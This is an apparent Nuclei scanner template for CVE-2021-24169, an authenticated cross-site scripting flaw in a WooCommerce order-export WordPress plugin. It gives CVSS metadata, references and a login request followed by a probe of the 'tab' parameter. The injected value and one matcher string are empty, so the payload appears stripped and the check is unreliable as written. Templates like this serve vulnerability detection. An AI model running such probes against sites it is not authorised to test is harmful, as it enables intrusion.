id: CVE-2021-24169 info: name: WordPress Advanced Order Export For WooCommerce <3.1.8 - Authenticated Cross-Site Scripting author: r3Y3r53 severity: medium description: | WordPress Advanced Order Export For WooCommerce plugin before 3.1.8 contains an authenticated cross-site scripting vulnerability via the tab parameter in the admin panel. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. impact: | Authenticated users can execute arbitrary scripts on the affected WordPress site, leading to potential data theft, defacement, or further compromise. remediation: Fixed in version 3.1.8. reference: - https://wpscan.com/vulnerability/09681a6c-57b8-4448-982a-fe8d28c87fc3 - https://www.exploit-db.com/exploits/50324 - https://wordpress.org/plugins/woo-order-export-lite/ - https://nvd.nist.gov/vuln/detail/CVE-2021-24169 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24169 cwe-id: CWE-79 epss-score: 0.0021 epss-percentile: 0.58287 cpe: cpe:2.3:a:algolplus:advanced_order_export:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: algolplus product: advanced_order_export framework: wordpress tags: cve2021,cve,wordpress,authenticated,wpscan,xss,wp-plugin,wp,woo-order-export-lite,edb,algolplus http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=wc-order-export&tab= HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code_2 == 200' - 'contains(body_2, "")' - 'contains(body_2, "woo-order-export-lite")' condition: and # digest: 4b0a004830460221009d6516913d6729de70ed63ad691d2279e02dccb63785273ce41ad95627d09b600221008c2ad831a4ea154a285ac6cc8782e79d2963279dd7368f98298158f17ca2bedf:922c64590222798bb761d5b6d8e72950